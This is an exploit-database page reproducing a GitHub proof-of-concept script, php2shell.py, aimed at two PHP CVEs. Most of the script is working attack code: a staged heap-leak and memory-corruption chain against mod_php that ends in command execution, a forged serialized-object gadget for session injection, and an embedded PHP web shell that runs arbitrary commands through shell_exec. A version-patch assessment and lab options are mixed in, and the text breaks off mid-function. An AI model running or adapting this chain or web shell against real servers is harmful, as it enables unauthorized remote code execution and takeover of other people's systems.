Exploit database

GH-16e77c7757916bc4959f17425bf05f48

kishwordulal2005/cve-2026-109618-and-cve-2026-109619-exploit

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-109618

411 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

php2shell.py

Python · 89,134 bytes
#!/usr/bin/env python3
"""
PHP2Shell - CVE-2026-109618 / CVE-2026-109619, plus a separate
application-level session-file object-injection chain used for the lab shell.

    python php2shell.py                      asks for the target, then gives a shell
    python php2shell.py --url http://host    goes straight at it
    python php2shell.py --url http://host --check
                                             assesses without killing a worker
    python php2shell.py --url http://host --check --destructive
                                             adds the worker-killing confirmation
    python php2shell.py --url http://host --yes
                                             skips the OWNER and destructive prompts
    python php2shell.py --url http://host --force
                                             allows the kill test when the version is unknown
    python php2shell.py --ab                 runs the vulnerable/patched/control A/B
    python php2shell.py --url http://host --rce --cmd 'id>/out/p1' --proof-file /path/to/out/p1 --yes
                                             runs the full mod_php RCE chain;
                                             command is limited to 14 UTF-8 bytes
    python php2shell.py --url http://host --rce --cmd 'id>/x' --fetch /x
                                             verifies RCE through the web root
    python php2shell.py --url http://host --rce --zif-offset 0x465370 --dtor-offset 0x65eb60
                                             overrides build-specific offsets
    python php2shell.py --webroot DIR --session-dir DIR
                                             overrides for a non-local target
"""

import base64
import json
import os
import re
import socket
import ssl
import struct
import subprocess
import sys
import threading
import time
import urllib.parse
from collections import Counter

HERE = os.path.dirname(os.path.abspath(__file__))


def find_root(start):
    d = start
    while True:
        if os.path.isdir(os.path.join(d, "runtime")) and \
           os.path.isdir(os.path.join(d, "site")):
            return d
        parent = os.path.dirname(d)
        if parent == d:
            return start
        d = parent


ROOT = find_root(HERE)

HOST, PORT, SCHEME = "127.0.0.1", 8080, "http"
TLS, PORT_SET = False, False
PATH = "/"
MODE = "shell"
ASSUME_YES = False
DESTRUCTIVE = False
FORCE = False
WEBROOT_ARG = None
SESSION_DIR_ARG = None
INI = os.path.join(ROOT, "runtime", "php-lab.ini")
WEBROOT = os.path.join(ROOT, "site")
SESSIONS = os.path.join(ROOT, "lab", "sessions")
OUT = os.path.join(ROOT, "lab", "out")
LOGS = os.path.join(ROOT, "lab", "logs")
GADGET = "Notifier"
CONSOLE = "console.php"
SID = "php2shell"
COOKIE = "ACMESESSID"

MODPHP_MAX_CMD = 14
RCE_CMD = "id"
RCE_PROOF = ""
RCE_FETCH = ""
RCE_PROFILE = "default"
RCE_RETRIES = 3
RCE_ZIF_OFFSET = None
RCE_DTOR_OFFSET = None
RCE_HTDATA_OFFSET = None
RCE_STAGE1_N = None
RCE_STAGE2_T = None
RCE_STAGE2_V = None

MODPHP_PROFILES = {
    "default": {
        "zif": 0x465370,
        "dtor": 0x65EB60,
        "htdata": 0x690D8,
        "stage1_n": 841,
        "stage2_t": 406,
        "stage2_v": 16,
        "pads": [(31, 31)] * 6,
        "carrier": True,
    },
    "edb-default": {
        "zif": 0x43A870,
        "dtor": 0x613C50,
        "htdata": 0x6E0D8,
        "stage1_n": 892,
        "stage2_t": 443,
        "stage2_v": 1,
        "pads": [(8, 7)] + [(7, 7)] * 5,
        "carrier": False,
    },
}

B, G, R, Y, X = "\033[36m", "\033[32m", "\033[31m", "\033[33m", "\033[0m"


def c(t, col):
    return f"{col}{t}{X}"


# --------------------------------------------------------------------------- #
#  version database                                                            #
# --------------------------------------------------------------------------- #

# The first release in each branch that contains the PHP2Shell fixes.
PHP2SHELL_FIXED = {
    "8.5": (8, 5, 12),
    "8.4": (8, 4, 27),
    "8.3": (8, 3, 36),
    "8.2": (8, 2, 35),
}
# 8.1 and older are affected too; they get source backports, not releases.

# Other PHP CVEs reported in 2026, so an assessment can say more than
# "you are affected by the two big ones".
OTHER_2026 = [
    ("CVE-2026-17544", "memory corruption in bccomp()",
     {"8.4": (8, 4, 24), "8.5": (8, 5, 9)}),
    ("CVE-2026-17543", "improper escaping, possible SQL injection",
     {"8.2": (8, 2, 33), "8.3": (8, 3, 33), "8.4": (8, 4, 24), "8.5": (8, 5, 9)}),
    ("CVE-2026-14355", "OpenSSL extension buffer allocation flaw",
     {"8.2": (8, 2, 32), "8.3": (8, 3, 32), "8.4": (8, 4, 23), "8.5": (8, 5, 8)}),
]


def parse_version(v):
    try:
        parts = [int(x) for x in str(v).split(".")[:3]]
        while len(parts) < 3:
            parts.append(0)
        return tuple(parts)
    except Exception:
        return None


def branch_of(v):
    t = parse_version(v)
    if not t:
        return None
    return f"{t[0]}.{t[1]}"


def is_patched(v, table, unknown=False):
    """
    True if version v is at or above the fixed release for its branch.

    A branch that is not in the table (8.1 and older) counts as NOT patched:
    the PHP project only published source backports for them. With
    unknown=True an unknown branch returns None instead - used for the
    other-CVE tables, whose ranges only cover 8.2 to 8.5.
    """
    t = parse_version(v)
    b = branch_of(v)
    if not t or not b:
        return None
    fixed = table.get(b)
    if fixed is None:
        return None if unknown else False
    return t >= fixed


def _v(t):
    return ".".join(str(x) for x in t)


def version_report(version):
    """Everything worth saying about the target's PHP version."""
    if parse_version(version) is None:
        return ["  php version      : unknown",
                "  PHP2Shell        : version unknown, cannot judge"]
    b = branch_of(version)
    lines = [f"  php version      : {version}"]
    p1 = is_patched(version, PHP2SHELL_FIXED)
    if p1 is None:
        lines.append("  PHP2Shell        : version unknown, cannot judge")
    elif p1:
        lines.append(f"  PHP2Shell        : PATCHED "
                     f"({_v(PHP2SHELL_FIXED[b])} fixes both)")
    else:
        lines.append("  PHP2Shell        : VULNERABLE - "
                     "CVE-2026-109618 and CVE-2026-109619")
        if b in PHP2SHELL_FIXED:
            lines.append(f"                     fixed in {_v(PHP2SHELL_FIXED[b])}")
        else:
            lines.append(f"                     {b} is end of life - no upstream release;")
            lines.append("                     check vendor backports (PHP published")
            lines.append("                     7.4 / 8.0 / 8.1 source backports)")
    others = []
    for cve, what, table in OTHER_2026:
        if is_patched(version, table, unknown=True) is False:
            others.append(f"{cve} ({what})")
    if others:
        lines.append("  also affected by : " + ", ".join(others))
    return lines


CONSOLE_PHP = r'''<?php
/**
 * Post-exploitation console.
 *
 * Deployed BY the exploit, not shipped with the app. Only exists on disk
 * after a successful object-injection chain has run its payload.
 *
 * Keeps a working directory in the session, so `cd` persists between calls.
 */

$host = gethostname();
$uid  = function_exists('get_current_user') ? get_current_user() : 'n/a';

if (session_status() !== PHP_SESSION_ACTIVE) {
    session_name('ACMESESSID');
    session_start();
}

function out(array $d): void
{
    header('Content-Type: application/json');
    header('Cache-Control: no-store');
    echo json_encode($d, JSON_UNESCAPED_SLASHES | JSON_INVALID_UTF8_SUBSTITUTE);
    exit;
}

if (isset($_GET['meta'])) {
    out([
        'host'  => $host,
        'uid'   => $uid,
        'php'   => PHP_VERSION,
        'os'    => PHP_OS_FAMILY,
        'cwd'   => $_SESSION['cwd'] ?? getcwd(),
        'banner'=> "console   host={$host}  os=" . PHP_OS_FAMILY .
                   "  php=" . PHP_VERSION . "  uid={$uid}",
    ]);
}

if (isset($_GET['complete'])) {
    $needle = (string) $_GET['complete'];
    $dir = ($needle !== '' && strpbrk($needle, '/\\') !== false)
        ? rtrim(dirname($needle), '/\\') . DIRECTORY_SEPARATOR
        : '';
    $prefix = basename($needle);
    $list = [];
    foreach (@scandir($dir) ?: [] as $e) {
        if ($e === '.' || $e === '..') { continue; }
        if ($prefix === '' || stripos($e, $prefix) === 0) { $list[] = $dir . $e; }
    }
    out(['list' => array_slice($list, 0, 60)]);
}

if (!isset($_POST['cmd'])) {
    out(['error' => 'no command']);
}

$cmd  = trim((string) $_POST['cmd']);
$cwd  = $_SESSION['cwd'] ?? (getcwd() ?: dirname(__DIR__));
$isWin = DIRECTORY_SEPARATOR === '\\';
$home = $isWin ? (getenv('USERPROFILE') ?: dirname(__DIR__)) : (getenv('HOME') ?: dirname(__DIR__));

if ($cmd === '') {
    out(['out' => '', 'cwd' => $cwd]);
}

// ---- built-ins ------------------------------------------------------------
if ($cmd === 'pwd' || $cmd === 'cd') {
    out(['out' => $cwd, 'cwd' => $cwd]);
}

if (preg_match('/^cd\s*(.*)$/i', $cmd, $m)) {
    $target = trim($m[1]);
    $target = $target === '' ? $home : $target;
    $candidate = ($target[0] === '/' || preg_match('/^[A-Za-z]:/', $target))
        ? $target
        : $cwd . DIRECTORY_SEPARATOR . $target;
    $resolved = realpath($candidate);
    if ($resolved === false) {
        out(['out' => "cd: no such directory: {$target}\n", 'cwd' => $cwd]);
    }
    $_SESSION['cwd'] = $resolved;
    out(['out' => '', 'cwd' => $resolved]);
}

// ---- run a command --------------------------------------------------------
$inner = $cmd;
if ($isWin) {
    $inner = 'cd /d "' . addcslashes($cwd, '"\\') . '" && ( ' . $cmd . ' )';
} else {
    $inner = 'cd ' . escapeshellarg($cwd) . ' && ( ' . $cmd . ' )';
}

$output = @shell_exec($inner);
if ($output === null) { $output = ''; }

out(['out' => $output, 'cwd' => $cwd, 'exit' => $LASTEXITCODE ?? null]);
'''


# --------------------------------------------------------------------------- net

def connect(timeout=30.0):
    """
    Open a connection, trying every address the host resolves to.

    A server started as `php -S localhost:8500` may listen on ::1 only, while
    a client that only tries 127.0.0.1 gets a connection refused.
    """
    last = None
    for family, socktype, proto, _, addr in socket.getaddrinfo(
            HOST, PORT, 0, socket.SOCK_STREAM):
        try:
            s = socket.socket(family, socktype, proto)
            s.settimeout(timeout)
            s.connect(addr)
        except OSError as e:
            last = e
            try:
                s.close()
            except OSError:
                pass
            continue
        if TLS:
            ctx = ssl.create_default_context()
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            s = ctx.wrap_socket(s, server_hostname=HOST)
        return s
    raise last or OSError(f"cannot connect to {HOST}:{PORT}")


def alive(timeout=5.0, retries=4, gap=1.5):
    for i in range(retries):
        try:
            connect(timeout).close()
            return True
        except OSError:
            if i < retries - 1:
                time.sleep(gap)
    return False


def enc(s):
    safe = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_.~"
    return "".join(chr(b) if b in safe else ("+" if b == 0x20 else f"%{b:02X}")
                   for b in s.encode())


def request(method, url_path, body=b"", headers=None, cookie=None, timeout=30.0):
    hdrs = {"Host": f"{HOST}:{PORT}", "Connection": "close"}
    if cookie:
        hdrs["Cookie"] = cookie
    if headers:
        hdrs.update(headers)
    raw = f"{method} {url_path} HTTP/1.1\r\n"
    for k, v in hdrs.items():
        raw += f"{k}: {v}\r\n"
    if body:
        raw += f"Content-Length: {len(body)}\r\n"
    raw += "\r\n"
    s = connect(timeout)
    try:
        s.sendall(raw.encode() + body)
        chunks = []
        while True:
            try:
                b = s.recv(65536)
            except OSError:
                break
            if not b:
                break
            chunks.append(b)
        return b"".join(chunks).decode("latin-1", "replace")
    finally:
        s.close()


def body_of(resp):
    return resp.split("\r\n\r\n", 1)[1] if "\r\n\r\n" in resp else ""


def status_of(resp):
    head = resp.split("\r\n\r\n", 1)[0]
    return head.split(" ")[1] if "HTTP/1." in head else ""




# --------------------------------------------------------------------- mod_php

MODPHP_SID = b"attacksessionid0001"


def modphp_multipart(parts, boundary):
    out = bytearray()
    for part in parts:
        name = part["name"].encode("latin-1")
        out += b"--" + boundary + b"\r\n"
        out += b'Content-Disposition: form-data; name="' + name + b'"'
        if part.get("filename") is not None:
            out += b'; filename="' + part["filename"].encode("latin-1") + b'"'
            out += b"\r\nContent-Type: application/octet-stream"
        out += b"\r\n\r\n" + part["data"] + b"\r\n"
    out += b"--" + boundary + b"--\r\n"
    return bytes(out)


def modphp_cookie(resp):
    values = re.findall(rb"Set-Cookie: PHPSESSID=([^\r\n]*?);", resp, re.I)
    if not values:
        return b""
    raw = [urllib.parse.unquote_to_bytes(v.decode("latin-1")) for v in values]
    return max(raw, key=len)


def modphp_chunk_base(raw):
    if len(raw) < 1000:
        return 0
    counts = Counter()
    for i in range(len(raw) - 8):
        value = int.from_bytes(raw[i:i + 8], "little")
        if 0x7F0000000000 <= value < 0x800000000000:
            counts[value & ~0x1FFFFF] += 1
    if not counts:
        return 0
    base, count = counts.most_common(1)[0]
    return base if count >= 8 else 0


def modphp_libphp_base(raw, dtor_offset):
    if len(raw) < 16:
        return 0
    value = int.from_bytes(raw[8:16], "little")
    if not (0x7F0000000000 <= value < 0x800000000000):
        return 0
    if value & 0xFFF != dtor_offset & 0xFFF:
        return 0
    base = value - dtor_offset
    return base if base & 0xFFF == 0 else 0


class ModPhpTarget:
    def __init__(self, host, port, path, use_tls=False, timeout=30.0):
        self.host = host
        self.port = port
        self.path = path
        self.use_tls = use_tls
        self.timeout = timeout

    def _connect(self):
        last = None
        for _ in range(10):
            try:
                sock = socket.create_connection(
                    (self.host, self.port), timeout=self.timeout)
                if self.use_tls:
                    ctx = ssl.create_default_context()
                    ctx.check_hostname = False
                    ctx.verify_mode = ssl.CERT_NONE
                    sock = ctx.wrap_socket(sock, server_hostname=self.host)
                try:
                    sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
                except OSError:
                    pass
                return sock
            except OSError as exc:
                last = exc
                time.sleep(0.3)
        raise last

    def post(self, body, boundary, read_cap=1 << 20, timeout=None,
             extra_headers=None):
        extra = "".join(f"{key}: {value}\r\n"
                        for key, value in (extra_headers or {}).items())
        header = (
            f"POST {self.path} HTTP/1.1\r\n"
            f"Host: {self.host}:{self.port}\r\n"
            f"{extra}"
            f"Content-Type: multipart/form-data; boundary={boundary.decode('ascii')}\r\n"
            f"Content-Length: {len(body)}\r\n"
            "Connection: close\r\n"
            "\r\n"
        ).encode("latin-1")
        sock = self._connect()
        sock.settimeout(timeout or self.timeout)
        data = bytearray()

        def reader():
            try:
                while len(data) < read_cap:
                    chunk = sock.recv(65536)
                    if not chunk:
                        break
                    data.extend(chunk)
            except OSError:
                pass

        thread = threading.Thread(target=reader, daemon=True)
        thread.start()
        try:
            try:
                sock.sendall(header)
                view = memoryview(body)
                for offset in range(0, len(body), 262144):
                    sock.sendall(view[offset:offset + 262144])
            except OSError:
                pass
            thread.join(timeout=(timeout or self.timeout) + 1.0)
            return bytes(data)
        finally:
            sock.close()

    def get(self, path, read_cap=1 << 20):
        header = (
            f"GET {path} HTTP/1.1\r\n"
            f"Host: {self.host}:{self.port}\r\n"
            "Connection: close\r\n"
            "\r\n"
        ).encode("latin-1")
        sock = self._connect()
        sock.settimeout(self.timeout)
        data = bytearray()
        try:
            sock.sendall(header)
            while len(data) < read_cap:
                chunk = sock.recv(65536)
                if not chunk:
                    break
                data.extend(chunk)
        except OSError:
            pass
        finally:
            sock.close()
        return bytes(data)


class ModPhpChain:
    def __init__(self, target, command, profile="default",
                 zif_offset=None, dtor_offset=None, htdata_offset=None,
                 stage1_n=None, stage2_t=None, stage2_v=None, retries=3,
                 proof_file="", fetch_path="", verbose=True):
        if profile not in MODPHP_PROFILES:
            raise ValueError(f"unknown mod_php profile: {profile}")
        settings = MODPHP_PROFILES[profile]
        self.t = target
        self.profile = profile
        self.cmd = command.encode("utf-8")
        if len(self.cmd) > MODPHP_MAX_CMD:
            raise ValueError(
                f"command is {len(self.cmd)} bytes; this payload allows at most "
                f"{MODPHP_MAX_CMD} bytes")
        self.zif_offset = settings["zif"] if zif_offset is None else zif_offset
        self.dtor_offset = settings["dtor"] if dtor_offset is None else dtor_offset
        self.htdata_offset = (settings["htdata"] if htdata_offset is None
                              else htdata_offset)
        self.stage1_n = settings["stage1_n"] if stage1_n is None else stage1_n
        self.stage2_t = settings["stage2_t"] if stage2_t is None else stage2_t
        self.stage2_v = settings["stage2_v"] if stage2_v is None else stage2_v
        self.stage3_pads = list(settings["pads"])
        self.stage3_carrier = settings["carrier"]
        self.retries = retries
        self.proof_file = proof_file
        self.fetch_path = fetch_path
        self.verbose = verbose

    def log(self, message):
        if self.verbose:
            print(message, flush=True)

    def _file_part(self):
        return {"name": "f", "filename": "a.txt", "data": b"A" * 64}

    def _big_field(self):
        return {"name": "big", "data": b"B" * (12 * 1024 * 1024)}

    def rotate(self):
        self.log("[*] rotating worker over HTTP")
        parts = [{"name": f"f{i:04d}"[:5], "data": b"V" * 3000}
                 for i in range(1001)]
        parts += [
            {"name": "PHPSESSID", "data": b"\x00"},
            {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
            self._file_part(),
            self._big_field(),
        ]
        try:
            self.t.post(modphp_multipart(parts, b"S" * 17), b"S" * 17,
                        read_cap=1 << 20, timeout=max(90.0, self.t.timeout))
        except OSError:
            pass
        time.sleep(0.3)
        parts = [
            {"name": "PHPSESSID", "data": MODPHP_SID},
            {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
        ]
        try:
            self.t.post(modphp_multipart(parts, b"BNDRY12345"),
                        b"BNDRY12345", read_cap=65536, timeout=20.0)
        except OSError:
            pass
        time.sleep(0.5)

    def stage1(self):
        self.log("[*] stage 1: heap leak")
        parts = [{"name": f"p{i:04d}", "data": b"x"} for i in range(1001)]
        parts += [
            {"name": "PHPSESSID", "data": b"\x00"},
            {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
            self._file_part(),
            self._big_field(),
        ]
        try:
            self.t.post(modphp_multipart(parts, b"S" * 17), b"S" * 17,
                        read_cap=1 << 20, timeout=max(90.0, self.t.timeout))
        except OSError:
            pass
        time.sleep(0.2)
        parts = [
            {"name": "PHPSESSID", "data": MODPHP_SID},
            {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
        ]
        for i in range(self.stage1_n):
            value = (f"v{i:04d}" + "x" * 44)[:48]
            parts.append({"name": str(1000 + i), "data": value.encode()})
        forge = bytearray(b"A" * 79)
        struct.pack_into("<Q", forge, 0x10, 0x1000)
        forge[0x18] = ord("L")
        parts.append({"name": "1999", "data": bytes(forge)})
        try:
            response = self.t.post(modphp_multipart(parts, b"B" * 10),
                                   b"B" * 10, read_cap=9 << 20)
        except OSError:
            return 0
        return modphp_chunk_base(modphp_cookie(response))

    def stage2(self):
        self.log("[*] stage 2: libphp leak")
        parts = [{"name": f"f{i:04d}"[:5], "data": b"x" * 39}
                 for i in range(1001)]
        parts += [
            {"name": "PHPSESSID", "data": b"\x00"},
            {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
            self._file_part(),
            self._big_field(),
        ]
        try:
            self.t.post(modphp_multipart(parts, b"S" * 17), b"S" * 17,
                        read_cap=1 << 20, timeout=max(90.0, self.t.timeout))
        except OSError:
            pass
        time.sleep(0.2)
        parts = [
            {"name": "PHPSESSID", "data": MODPHP_SID},
            {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
        ]
        for i in range(983):
            count = 16 if i == self.stage2_t else 1
            for j in range(count):
                parts.append({"name": f"a{i:04d}[{j}]",
                              "data": b"x" * self.stage2_v})
        try:
            response = self.t.post(modphp_multipart(parts, b"B" * 10),
                                   b"B" * 10, read_cap=1 << 20)
        except OSError:
            return 0
        return modphp_libphp_base(modphp_cookie(response), self.dtor_offset)

    def _fake_payload(self, htdata, zif):
        ht = bytearray(b"\x00" * 167)
        struct.pack_into("<II", ht, 0x00, 1, 7)
        struct.pack_into("<II", ht, 0x08, 0x10, 0xFFFFFFF8)
        struct.pack_into("<Q", ht, 0x10, htdata + 0x20)
        struct.pack_into("<II", ht, 0x18, 1, 1)
        struct.pack_into("<II", ht, 0x20, 8, 0)
        struct.pack_into("<Q", ht, 0x28, 0)
        struct.pack_into("<Q", ht, 0x30, zif)
        execute = 0x20
        struct.pack_into("<Q", ht, execute + 0x00, 0)
        struct.pack_into("<Q", ht, execute + 0x08, 0)
        struct.pack_into("<Q", ht, execute + 0x10, zif)
        struct.pack_into("<Q", ht, execute + 0x18, 0)
        struct.pack_into("<Q", ht, execute + 0x20, 0)
        struct.pack_into("<I", ht, execute + 0x28, 0)
        struct.pack_into("<I", ht, execute + 0x2C, 1)
        struct.pack_into("<Q", ht, execute + 0x30, 0)
        struct.pack_into("<Q", ht, execute + 0x38, 0)
        struct.pack_into("<I", ht, execute + 0x40, 0)
        struct.pack_into("<Q", ht, execute + 0x50, htdata + 0x80)
        struct.pack_into("<I", ht, execute + 0x58, 6)
        struct.pack_into("<II", ht, 0x80, 1, 0x106)
        struct.pack_into("<Q", ht, 0x88, 0)
        struct.pack_into("<Q", ht, 0x90, len(self.cmd))
        ht[0x98:0x98 + len(self.cmd)] = self.cmd
        ht[0x98 + len(self.cmd)] = 0
        ref = bytearray(b"X" * 55)
        struct.pack_into("<II", ref, 0x10, 1, 10)
        struct.pack_into("<Q", ref, 0x18, htdata)
        struct.pack_into("<Q", ref, 0x20, 0x307)
        struct.pack_into("<Q", ref, 0x28, 0)
        return bytes(ht), bytes(ref)

    def stage3(self, htdata, zif):
        parts = [
            {"name": "PHPSESSID", "data": b"a" * 19},
            {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"p" * 3},
        ]
        for i, (name_len, value_len) in enumerate(self.stage3_pads):
            name = (f"p{i:0{name_len - 1}d}" if name_len > 0 else "")[:name_len]
            parts.append({"name": name, "data": b"V" * value_len})
        parts += [self._file_part(), self._big_field()]
        extra = None
        if self.stage3_carrier:
            extra = {"Cookie": "PHPSESSID=" + "a" * 32}
        try:
            self.t.post(modphp_multipart(parts, b"S" * 17), b"S" * 17,
                        read_cap=1 << 20, timeout=max(90.0, self.t.timeout),
                        extra_headers=extra)
        except OSError:
            pass
        time.sleep(0.3)
        ht, ref = self._fake_payload(htdata, zif)
        parts = [
            {"name": "PHPSESSID", "data": MODPHP_SID},
            {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
        ]
        if self.stage3_carrier:
            carrier = (struct.pack("<II", 1, 0x1A) +
                       struct.pack("<Q", htdata)[:7])
            for i in range(2):
                parts.append({"name": f"f{i:02d}", "data": b"F" * 15})
            parts.append({"name": "g00", "data": carrier})
            for i in range(15):
                parts.append({"name": f"a{i:030d}"[:31], "data": ht})
        else:
            for i in range(15):
                parts.append({"name": f"a{i:030d}"[:31], "data": ht})
            for i in range(2):
                parts.append({"name": f"f{i:02d}", "data": ref})
        try:
            self.t.post(modphp_multipart(parts, b"B" * 10), b"B" * 10,
                        read_cap=65536, timeout=30.0)
        except OSError:
            pass

    def _read_proof(self):
        if not self.proof_file:
            return ""
        try:
            with open(self.proof_file, "r", encoding="utf-8",
                      errors="replace") as handle:
                return handle.read().strip()
        except OSError:
            return ""

    def _fetch(self):
        if not self.fetch_path:
            return ""
        path = self.fetch_path if self.fetch_path.startswith("/") else \
            "/" + self.fetch_path
        try:
            response = self.t.get(path, read_cap=1 << 20)
        except OSError:
            return ""
        if b"\r\n\r\n" not in response:
            return ""
        return response.split(b"\r\n\r\n", 1)[1].decode("utf-8", "replace").strip()

    def run(self):
        self.log(f"[*] mod_php profile: {self.profile} "
                 f"(zif=0x{self.zif_offset:x} dtor=0x{self.dtor_offset:x} "
                 f"htdata=0x{self.htdata_offset:x})")
        chunk = 0
        for attempt in range(1, self.retries + 1):
            self.rotate()
            chunk = self.stage1()
            if chunk:
                self.log(f"[+] chunk base = 0x{chunk:x}")
                break
            self.log(f"[-] heap leak missed ({attempt}/{self.retries})")
        if not chunk:
            self.log("[-] HEAP_LEAK_FAILED")
            return False
        libphp = 0
        for attempt in range(1, self.retries + 1):
            self.rotate()
            libphp = self.stage2()
            if libphp:
                self.log(f"[+] libphp base = 0x{libphp:x}")
                break
            self.log(f"[-] libphp leak missed ({attempt}/{self.retries})")
        if not libphp:
            self.log("[-] LIBPHP_LEAK_FAILED")
            return False
        htdata = chunk + self.htdata_offset
        zif = libphp + self.zif_offset
        for attempt in range(1, self.retries + 3):
            self.rotate()
            self.log(f"[*] stage 3 (attempt {attempt})")
            try:
                self.stage3(htdata, zif)
            except OSError:
                pass
            time.sleep(0.8)
            proof = self._read_proof()
            if proof:
                print(proof)
                return True
            fetched = self._fetch()
            if fetched:
                print(fetched)
                return True
            self.log("[-] no proof yet")
        self.log("[-] RCE_FAILED (no proof)")
        return False

# ------------------------------------------------------------------------- server

SERVER = None
OWNS_SERVER = False


def php_binary(engine="vuln"):
    name = ("php-8.5.11-VULNERABLE" if engine == "vuln"
            else "php-8.5.12-PATCHED")
    p = os.path.join(ROOT, "runtime", name, "php.exe")
    return p if os.path.exists(p) else os.path.join(ROOT, "runtime", name, "php")


def ini_for(webroot, port=None):
    """Pick the php.ini that belongs to this web root, if there is one."""
    if port:
        c = os.path.join(ROOT, "runtime", f"php-lab-{port}.ini")
        if os.path.exists(c):
            return c
    base = os.path.basename(webroot.rstrip("\\/"))
    c = os.path.join(ROOT, "runtime", f"php-lab-{base}.ini")
    if os.path.exists(c):
        return c
    return os.path.join(ROOT, "runtime", "php-lab.ini")


def docroot_of(ini):
    """The web root an ini belongs to, read from its auto_prepend_file."""
    try:
        with open(ini, encoding="utf-8", errors="replace") as f:
            for line in f:
                if line.strip().startswith("auto_prepend_file"):
                    p = line.split("=", 1)[1].strip().strip('"')
                    p = p.replace("\\\\", "\\")
                    return os.path.dirname(os.path.dirname(p))
    except OSError:
        pass
    return WEBROOT


def stop_server():
    """Stop the lab server this process started, if any."""
    global SERVER, OWNS_SERVER
    if SERVER:
        try:
            SERVER.terminate()
            SERVER.wait(timeout=10)
        except Exception:
            pass
    SERVER = None
    OWNS_SERVER = False


def boot(engine="vuln", docroot=None, ini=None):
    global SERVER, OWNS_SERVER
    stop_server()
    for d in (SESSIONS, OUT, LOGS):
        os.makedirs(d, exist_ok=True)
    for _ in range(20):
        try:
            connect(1).close()
            time.sleep(0.25)
        except OSError:
            break
    ini = ini or ini_for(docroot or WEBROOT, PORT)
    docroot = docroot or docroot_of(ini)
    OWNS_SERVER = True
    log = open(os.path.join(LOGS, f"server-{engine}.log"), "ab")
    SERVER = subprocess.Popen(
        [php_binary(engine), "-c", ini, "-S", f"127.0.0.1:{PORT}", "-t", docroot],
        stdout=log, stderr=subprocess.STDOUT, stdin=subprocess.DEVNULL)
    log.close()
    for _ in range(40):
        if alive(timeout=1, retries=1, gap=0):
            return True
        time.sleep(0.25)
    return False


# ------------------------------------------------------------------------ exploit

def gadget(command, cls):
    n = len(command.encode())
    return (f'O:{len(cls)}:"{cls}":3:{{'
            f's:7:"channel";s:4:"exec";'
            f's:7:"command";s:{n}:"{command}";'
            f's:6:"target";s:4:"none";}}')


def learn_session():
    """Ask the app which session cookie it uses, and what id it hands out.

    The exploit has to address the session file the APP will open, and every
    app names its cookie differently (ACMESESSID, ORBITSESSID, PHPSESSID...).
    """
    global COOKIE, SID
    for path in ("/", "/status.php", "/health.php"):
        try:
            r = request("GET", path)
        except OSError:
            continue
        m = re.search(r"Set-Cookie:\s*([^=;]+)=([^;]*)", r, re.I)
        if m:
            COOKIE = m.group(1).strip()
            if m.group(2).strip():
                SID = m.group(2).strip()
            return COOKIE, SID
    return None, None


def plant(content, sid=None, session_dir=None):
    sid = sid or SID
    session_dir = session_dir or SESSIONS
    os.makedirs(session_dir, exist_ok=True)
    with open(os.path.join(session_dir, "sess_" + sid), "w",
              encoding="latin-1") as f:
        f.write(content)


def is_local_host():
    """
    Does the target resolve to an address on THIS machine?

    If it does, the exploit can read the target's own PHP configuration and
    the local session directories are worth trying.
    """
    if HOST in ("127.0.0.1", "localhost", "::1"):
        return True
    try:
        infos = socket.getaddrinfo(HOST, PORT, 0, socket.SOCK_STREAM)
    except OSError:
        return False
    mine = {"127.0.0.1", "::1"}
    try:
        for info in socket.getaddrinfo(socket.gethostname(), None):
            mine.add(info[4][0])
    except OSError:
        pass
    try:
        for info in socket.getaddrinfo(None, None):
            mine.add(info[4][0])
    except OSError:
        pass
    return any(info[4][0] in mine for info in infos)


def php_processes():
    """(executable, command line) for the PHP processes on this machine."""
    found = []
    if os.name == "nt":
        try:
            ps = ("Get-CimInstance Win32_Process -Filter \"Name='php.exe'\" | "
                  "ForEach-Object { $_.ExecutablePath + '|' + $_.CommandLine }")
            r = subprocess.run(["powershell", "-NoProfile", "-Command", ps],
                               capture_output=True, text=True, timeout=25)
            for line in (r.stdout or "").splitlines():
                if "|" in line:
                    exe, cmd = line.split("|", 1)
                    found.append((exe.strip(), cmd.strip()))
        except Exception:
            pass
    else:
        try:
            pids = os.listdir("/proc")
        except OSError:
            pids = []
        for pid in pids:
            if not pid.isdigit():
                continue
            try:
                exe = os.readlink(f"/proc/{pid}/exe")
                with open(f"/proc/{pid}/cmdline", "rb") as f:
                    cmd = f.read().replace(b"\0", b" ").decode("latin-1").strip()
            except OSError:
                continue
            if "php" in os.path.basename(exe).lower():
                found.append((exe, cmd))
    return found


INTEL_PHP = (
    "echo json_encode(["
    "'ini'=>php_ini_loaded_file(),"
    "'sess'=>ini_get('session.save_path'),"
    "'sess_name'=>ini_get('session.name'),"
    "'disable'=>ini_get('disable_functions'),"
    "'open_basedir'=>ini_get('open_basedir'),"
    "'doc_root'=>ini_get('doc_root'),"
    "'sess_save_handler'=>ini_get('session.save_handler'),"
    "'upload_progress'=>ini_get('session.upload_progress.enabled'),"
    "'fatal_bt'=>ini_get('fatal_error_backtraces'),"
    "'memory_limit'=>ini_get('memory_limit'),"
    "'post_max'=>ini_get('post_max_size')"
    "]);"
)


def _norm_path(p):
    return os.path.normcase(os.path.abspath(p)) if p else ""


def local_intel(webroot=None):
    """
    If the exploit is running on the SAME machine as the target, ask the
    target's own PHP for its configuration. That removes the need to pass
    --webroot and --session-dir by hand.

    Only a process that actually looks like THIS target is used: its command
    line must carry the target's port (-S host:port) or the target's document
    root (-t dir). Picking the first php.exe on the machine is how a dead
    target ends up described with an unrelated application's ini and docroot.
    """
    want_root = _norm_path(webroot) if webroot else ""
    by_port, by_root = [], []
    for exe, cmd in php_processes():
